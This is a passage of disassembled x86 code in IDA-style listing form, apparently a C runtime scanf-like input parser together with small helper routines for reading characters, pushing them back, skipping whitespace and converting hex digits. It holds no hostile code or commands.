		cmp	esi, 6Fh
		jg	loc_420B91
		jz	loc_420E43
		cmp	esi, 63h
		jz	loc_420B6E
		cmp	esi, 64h
		jz	loc_420E43
		jle	loc_420BBB
		cmp	esi, 67h
		jle	short loc_42098E
		cmp	esi, 69h
		jz	short loc_420976
		cmp	esi, 6Eh
		jnz	loc_420BBB
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_421071
		jmp	loc_421097
; ---------------------------------------------------------------------------


loc_420976:				; CODE XREF: sub_420730+229j
		push	64h
		pop	esi


loc_420979:				; CODE XREF: sub_420730+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_420C03
		mov	[ebp+var_17], 1
		jmp	loc_420C08
; ---------------------------------------------------------------------------


loc_42098E:				; CODE XREF: sub_420730+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_4209AA
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_4209AF
; ---------------------------------------------------------------------------


loc_4209AA:				; CODE XREF: sub_420730+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4209C6


loc_4209AF:				; CODE XREF: sub_420730+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4209C9
; ---------------------------------------------------------------------------


loc_4209C6:				; CODE XREF: sub_420730+27Dj
		mov	edi, [ebp+arg_0]


loc_4209C9:				; CODE XREF: sub_420730+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4209D8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4209DF


loc_4209D8:				; CODE XREF: sub_420730+29Dj
		mov	[ebp+var_C], 15Dh


loc_4209DF:				; CODE XREF: sub_420730+2A6j
					; sub_420730+2F2j
		cmp	ds:dword_43F194, 1
		jle	short loc_4209F4
		push	4
		push	ebx
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_4209FF
; ---------------------------------------------------------------------------


loc_4209F4:				; CODE XREF: sub_420730+2B6j
		mov	eax, ds:off_43EF88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4209FF:				; CODE XREF: sub_420730+2C2j
		test	eax, eax
		jz	short loc_420A24
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420A24
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4209DF
; ---------------------------------------------------------------------------


loc_420A24:				; CODE XREF: sub_420730+2D1j
					; sub_420730+2DBj
		cmp	ds:byte_43F198,	bl
		jnz	short loc_420A92
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420A92
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		mov	ebx, eax
		mov	al, ds:byte_43F198
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_420A4D:				; CODE XREF: sub_420730+360j
		cmp	ds:dword_43F194, 1
		jle	short loc_420A62
		push	4
		push	ebx
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_420A6D
; ---------------------------------------------------------------------------


loc_420A62:				; CODE XREF: sub_420730+324j
		mov	eax, ds:off_43EF88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420A6D:				; CODE XREF: sub_420730+330j
		test	eax, eax
		jz	short loc_420A92
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420A92
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420A4D
; ---------------------------------------------------------------------------


loc_420A92:				; CODE XREF: sub_420730+2FAj
					; sub_420730+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_420B2A
		cmp	ebx, 65h
		jz	short loc_420AAA
		cmp	ebx, 45h
		jnz	loc_420B2A


loc_420AAA:				; CODE XREF: sub_420730+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420B2A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_420AD1
		mov	[esi], al
		inc	esi
		jmp	short loc_420AD6
; ---------------------------------------------------------------------------


loc_420AD1:				; CODE XREF: sub_420730+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_420AF4


loc_420AD6:				; CODE XREF: sub_420730+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_420AE5
		and	[ebp+var_C], eax
		jmp	short loc_420AF4
; ---------------------------------------------------------------------------


loc_420AE5:				; CODE XREF: sub_420730+3AEj
					; sub_420730+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420AF4:				; CODE XREF: sub_420730+3A4j
					; sub_420730+3B3j
		cmp	ds:dword_43F194, 1
		jle	short loc_420B09
		push	4
		push	ebx
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_420B14
; ---------------------------------------------------------------------------


loc_420B09:				; CODE XREF: sub_420730+3CBj
		mov	eax, ds:off_43EF88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420B14:				; CODE XREF: sub_420730+3D7j
		test	eax, eax
		jz	short loc_420B2A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420B2A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_420AE5
; ---------------------------------------------------------------------------


loc_420B2A:				; CODE XREF: sub_420730+366j
					; sub_420730+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_4211A6
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_421136
		cmp	[ebp+var_E], 0
		jnz	loc_421097
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_43F538
		add	esp, 0Ch
		jmp	loc_421097
; ---------------------------------------------------------------------------


loc_420B6E:				; CODE XREF: sub_420730+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_420B7D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_420B7D:				; CODE XREF: sub_420730+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420B87
		mov	[ebp+var_16], 1


loc_420B87:				; CODE XREF: sub_420730+451j
		mov	edi, offset dword_43F410
		jmp	loc_420C9C
; ---------------------------------------------------------------------------


loc_420B91:				; CODE XREF: sub_420730+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420E3F
		sub	eax, 3
		jz	loc_420C8D
		dec	eax
		dec	eax
		jz	loc_420E43
		sub	eax, 3
		jz	loc_420979
		sub	eax, 3
		jz	short loc_420BDF


loc_420BBB:				; CODE XREF: sub_420730+21Bj
					; sub_420730+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421106
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421097
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421097
; ---------------------------------------------------------------------------


loc_420BDF:				; CODE XREF: sub_420730+489j
		cmp	[ebp+var_5], 0
		jle	short loc_420BE9
		mov	[ebp+var_16], 1


loc_420BE9:				; CODE XREF: sub_420730+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420CA0
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420C9C
; ---------------------------------------------------------------------------


loc_420C03:				; CODE XREF: sub_420730+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420C2A


loc_420C08:				; CODE XREF: sub_420730+259j
		dec	[ebp+var_C]
		jnz	short loc_420C19
		cmp	[ebp+var_20], 0
		jz	short loc_420C19
		mov	[ebp+var_F], 1
		jmp	short loc_420C2A
; ---------------------------------------------------------------------------


loc_420C19:				; CODE XREF: sub_420730+4DBj
					; sub_420730+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420C2A:				; CODE XREF: sub_420730+4D6j
					; sub_420730+4E7j
		cmp	ebx, 30h
		jnz	loc_420E78
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420C78
		cmp	bl, 58h
		jz	short loc_420C78
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420C62
		push	6Fh


loc_420C5C:				; CODE XREF: sub_420730+55Bj
		pop	esi
		jmp	loc_420E78
; ---------------------------------------------------------------------------


loc_420C62:				; CODE XREF: sub_420730+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_4211A6
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420E75
; ---------------------------------------------------------------------------


loc_420C78:				; CODE XREF: sub_420730+517j
					; sub_420730+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42118C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420C5C
; ---------------------------------------------------------------------------


loc_420C8D:				; CODE XREF: sub_420730+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420C97
		mov	[ebp+var_16], 1


loc_420C97:				; CODE XREF: sub_420730+561j
		mov	edi, offset dword_43F408


loc_420C9C:				; CODE XREF: sub_420730+45Cj
					; sub_420730+4CEj
		or	[ebp+var_18], 0FFh


loc_420CA0:				; CODE XREF: sub_420730+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420CC4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420CC4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420CC7
; ---------------------------------------------------------------------------


loc_420CC4:				; CODE XREF: sub_420730+584j
					; sub_420730+589j
		mov	dl, [ebp+var_35]


loc_420CC7:				; CODE XREF: sub_420730+592j
					; sub_420730+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420D2C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420D13
		test	dl, dl
		jz	short loc_420D13
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420D13
		inc	edi
		cmp	dl, cl
		jnb	short loc_420CE6
		mov	al, cl
		jmp	short loc_420CEA
; ---------------------------------------------------------------------------


loc_420CE6:				; CODE XREF: sub_420730+5B0j
		mov	al, dl
		mov	dl, cl


loc_420CEA:				; CODE XREF: sub_420730+5B4j
		cmp	dl, al
		ja	short loc_420D0F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420CF7:				; CODE XREF: sub_420730+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420CF7


loc_420D0F:				; CODE XREF: sub_420730+5BCj
		xor	dl, dl
		jmp	short loc_420CC7
; ---------------------------------------------------------------------------


loc_420D13:				; CODE XREF: sub_420730+5A0j
					; sub_420730+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420CC7
; ---------------------------------------------------------------------------


loc_420D2C:				; CODE XREF: sub_420730+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_421136
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420D3E
		mov	[ebp+arg_4], edi


loc_420D3E:				; CODE XREF: sub_420730+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_4211A6
		pop	ecx
		pop	ecx


loc_420D55:				; CODE XREF: sub_420730+6BCj
					; sub_420730+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420D69
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420E05


loc_420D69:				; CODE XREF: sub_420730+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420DF9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420DF9
		cmp	[ebp+var_E], 0
		jnz	short loc_420DF1
		cmp	[ebp+var_16], 0
		jz	short loc_420DE6
		mov	ecx, ds:off_43EF88
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420DC5
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		pop	ecx
		mov	[ebp+var_37], al


loc_420DC5:				; CODE XREF: sub_420730+686j
		push	ds:dword_43F194
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_42410E
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420DE9
; ---------------------------------------------------------------------------


loc_420DE6:				; CODE XREF: sub_420730+673j
		mov	[esi], al
		inc	esi


loc_420DE9:				; CODE XREF: sub_420730+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420D55
; ---------------------------------------------------------------------------


loc_420DF1:				; CODE XREF: sub_420730+66Dj
		inc	[ebp+var_30]
		jmp	loc_420D55
; ---------------------------------------------------------------------------


loc_420DF9:				; CODE XREF: sub_420730+649j
					; sub_420730+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_4211A6
		pop	ecx
		pop	ecx


loc_420E05:				; CODE XREF: sub_420730+633j
		cmp	[ebp+var_30], esi
		jz	loc_421136
		cmp	[ebp+var_E], 0
		jnz	loc_421097
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421097
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E37
		and	word ptr [eax],	0
		jmp	loc_421097
; ---------------------------------------------------------------------------


loc_420E37:				; CODE XREF: sub_420730+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421097
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420730+466j
		mov	[ebp+var_D], 1


loc_420E43:				; CODE XREF: sub_420730+203j
					; sub_420730+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420E51
		mov	[ebp+var_17], 1
		jmp	short loc_420E56
; ---------------------------------------------------------------------------


loc_420E51:				; CODE XREF: sub_420730+719j
		cmp	ebx, 2Bh
		jnz	short loc_420E78


loc_420E56:				; CODE XREF: sub_420730+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420E67
		cmp	[ebp+var_20], 0
		jz	short loc_420E67
		mov	[ebp+var_F], 1
		jmp	short loc_420E78
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420730+729j
					; sub_420730+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42118C
		pop	ecx
		mov	ebx, eax


loc_420E75:				; CODE XREF: sub_420730+543j
		mov	[ebp+var_14], ebx


loc_420E78:				; CODE XREF: sub_420730+4FDj
					; sub_420730+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420F91
		cmp	[ebp+var_F], 0
		jnz	loc_420F6F


loc_420E8C:				; CODE XREF: sub_420730+82Cj
		cmp	esi, 78h
		jnz	short loc_420EE0
		cmp	ds:dword_43F194, 1
		jle	short loc_420EA9
		push	80h
		push	ebx
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_420EB6
; ---------------------------------------------------------------------------


loc_420EA9:				; CODE XREF: sub_420730+768j
		mov	eax, ds:off_43EF88
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420EB6:				; CODE XREF: sub_420730+777j
		test	eax, eax
		jz	loc_420F61
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4241E0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_421155
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420F33
; ---------------------------------------------------------------------------


loc_420EE0:				; CODE XREF: sub_420730+75Fj
		cmp	ds:dword_43F194, 1
		jle	short loc_420EF5
		push	4
		push	ebx
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_420F00
; ---------------------------------------------------------------------------


loc_420EF5:				; CODE XREF: sub_420730+7B7j
		mov	eax, ds:off_43EF88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420F00:				; CODE XREF: sub_420730+7C3j
		test	eax, eax
		jz	short loc_420F61
		cmp	esi, 6Fh
		jnz	short loc_420F1E
		cmp	ebx, 38h
		jge	short loc_420F61
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4241E0
		jmp	short loc_420F2D
; ---------------------------------------------------------------------------


loc_420F1E:				; CODE XREF: sub_420730+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D4A0


loc_420F2D:				; CODE XREF: sub_420730+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420F33:				; CODE XREF: sub_420730+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420F4B
		dec	[ebp+var_C]
		jz	short loc_420F6F


loc_420F4B:				; CODE XREF: sub_420730+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420E8C
; ---------------------------------------------------------------------------


loc_420F61:				; CODE XREF: sub_420730+788j
					; sub_420730+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_4211A6
		pop	ecx
		pop	ecx


loc_420F6F:				; CODE XREF: sub_420730+756j
					; sub_420730+819j
		cmp	[ebp+var_17], 0
		jz	loc_421055
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_421055
; ---------------------------------------------------------------------------


loc_420F91:				; CODE XREF: sub_420730+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_42104D


loc_420F9B:				; CODE XREF: sub_420730+90Aj
		cmp	esi, 78h
		jz	short loc_420FDF
		cmp	esi, 70h
		jz	short loc_420FDF
		cmp	ds:dword_43F194, 1
		jle	short loc_420FBA
		push	4
		push	ebx
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_420FC5
; ---------------------------------------------------------------------------


loc_420FBA:				; CODE XREF: sub_420730+87Cj
		mov	eax, ds:off_43EF88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420FC5:				; CODE XREF: sub_420730+888j
		test	eax, eax
		jz	short loc_42103F
		cmp	esi, 6Fh
		jnz	short loc_420FD8
		cmp	ebx, 38h
		jge	short loc_42103F
		shl	edi, 3
		jmp	short loc_421017
; ---------------------------------------------------------------------------


loc_420FD8:				; CODE XREF: sub_420730+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421017
; ---------------------------------------------------------------------------


loc_420FDF:				; CODE XREF: sub_420730+86Ej
					; sub_420730+873j
		cmp	ds:dword_43F194, 1
		jle	short loc_420FF7
		push	80h
		push	ebx
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_421004
; ---------------------------------------------------------------------------


loc_420FF7:				; CODE XREF: sub_420730+8B6j
		mov	eax, ds:off_43EF88
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421004:				; CODE XREF: sub_420730+8C5j
		test	eax, eax
		jz	short loc_42103F
		push	ebx
		shl	edi, 4
		call	sub_421155
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421017:				; CODE XREF: sub_420730+8A6j
					; sub_420730+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_421029
		dec	[ebp+var_C]
		jz	short loc_42104D


loc_421029:				; CODE XREF: sub_420730+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420F9B
; ---------------------------------------------------------------------------


loc_42103F:				; CODE XREF: sub_420730+897j
					; sub_420730+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_4211A6
		pop	ecx
		pop	ecx


loc_42104D:				; CODE XREF: sub_420730+865j
					; sub_420730+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_421055
		neg	edi


loc_421055:				; CODE XREF: sub_420730+843j
					; sub_420730+85Cj ...
		cmp	esi, 46h
		jnz	short loc_42105E
		and	[ebp+var_1C], 0


loc_42105E:				; CODE XREF: sub_420730+928j
		cmp	[ebp+var_1C], 0
		jz	loc_421136
		cmp	[ebp+var_E], 0
		jnz	short loc_421097
		inc	[ebp+var_34]


loc_421071:				; CODE XREF: sub_420730+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421087
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421097
; ---------------------------------------------------------------------------


loc_421087:				; CODE XREF: sub_420730+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421094
		mov	[eax], edi
		jmp	short loc_421097
; ---------------------------------------------------------------------------


loc_421094:				; CODE XREF: sub_420730+95Ej
		mov	[eax], di


loc_421097:				; CODE XREF: sub_420730+241j
					; sub_420730+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_4210E4
; ---------------------------------------------------------------------------


loc_4210A2:				; CODE XREF: sub_420730+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421111
		mov	ecx, ds:off_43EF88
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_4210E4
		inc	[ebp+var_4]
		push	edi
		call	sub_42118C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42111F
		dec	[ebp+var_4]


loc_4210E4:				; CODE XREF: sub_420730+970j
					; sub_420730+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4210FA
		cmp	byte ptr [esi],	25h
		jnz	short loc_42113C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_42113C
		mov	esi, eax


loc_4210FA:				; CODE XREF: sub_420730+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42075A
		jmp	short loc_421136
; ---------------------------------------------------------------------------


loc_421106:				; CODE XREF: sub_420730+1F4j
					; sub_420730+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421116
; ---------------------------------------------------------------------------


loc_421111:				; CODE XREF: sub_420730+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421116:				; CODE XREF: sub_420730+9DFj
		call	sub_4211A6
		pop	ecx
		pop	ecx
		jmp	short loc_421136
; ---------------------------------------------------------------------------


loc_42111F:				; CODE XREF: sub_420730+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_4211A6
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_4211A6
		add	esp, 10h


loc_421136:				; CODE XREF: sub_420730+1Fj
					; sub_420730+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42114D


loc_42113C:				; CODE XREF: sub_420730+9BDj
					; sub_420730+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_421150
		cmp	[ebp+var_15], al
		jnz	short loc_421150
		or	eax, 0FFFFFFFFh
		jmp	short loc_421150
; ---------------------------------------------------------------------------


loc_42114D:				; CODE XREF: sub_420730+A0Aj
		mov	eax, [ebp+var_34]


loc_421150:				; CODE XREF: sub_420730+A11j
					; sub_420730+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420730	endp


; =============== S U B	R O U T	I N E =======================================



sub_421155	proc near		; CODE XREF: sub_420730+7A3p
					; sub_420730+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_43F194, 1
		push	esi
		jle	short loc_42116F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_42117E
; ---------------------------------------------------------------------------


loc_42116F:				; CODE XREF: sub_421155+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_43EF88
		mov	al, [eax+esi*2]
		and	eax, 4


loc_42117E:				; CODE XREF: sub_421155+18j
		test	eax, eax
		jnz	short loc_421188
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421188:				; CODE XREF: sub_421155+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_421155	endp


; =============== S U B	R O U T	I N E =======================================



sub_42118C	proc near		; CODE XREF: sub_420730+1E1p
					; sub_420730+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42119E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42119E:				; CODE XREF: sub_42118C+7j
		push	edx
		call	sub_41F263
		pop	ecx
		retn
sub_42118C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4211A6	proc near		; CODE XREF: sub_420730+6Bp
					; sub_420730+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_4211BC
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4241FF
		pop	ecx
		pop	ecx

locret_4211BC:				; CODE XREF: sub_4211A6+5j
		retn
sub_4211A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4211BD	proc near		; CODE XREF: sub_420730+63p
					; sub_420730+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_4211C3:				; CODE XREF: sub_4211BD+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42118C
		mov	edi, eax
		push	edi
		call	sub_41D890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4211C3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4211BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4211E1(int,int,double,int)

sub_4211E1	proc near		; CODE XREF: sub_41C869+51p
					; sub_41C9AF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_43F900, 0
		jnz	short loc_421216
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421796
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421216:				; CODE XREF: sub_4211E1+Aj
		push	0FFFFh
		mov	ds:dword_4DDEB4, 21h
		push	[ebp+arg_C]
		call	sub_421A09
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4211E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421234(int,int,double,double,int)

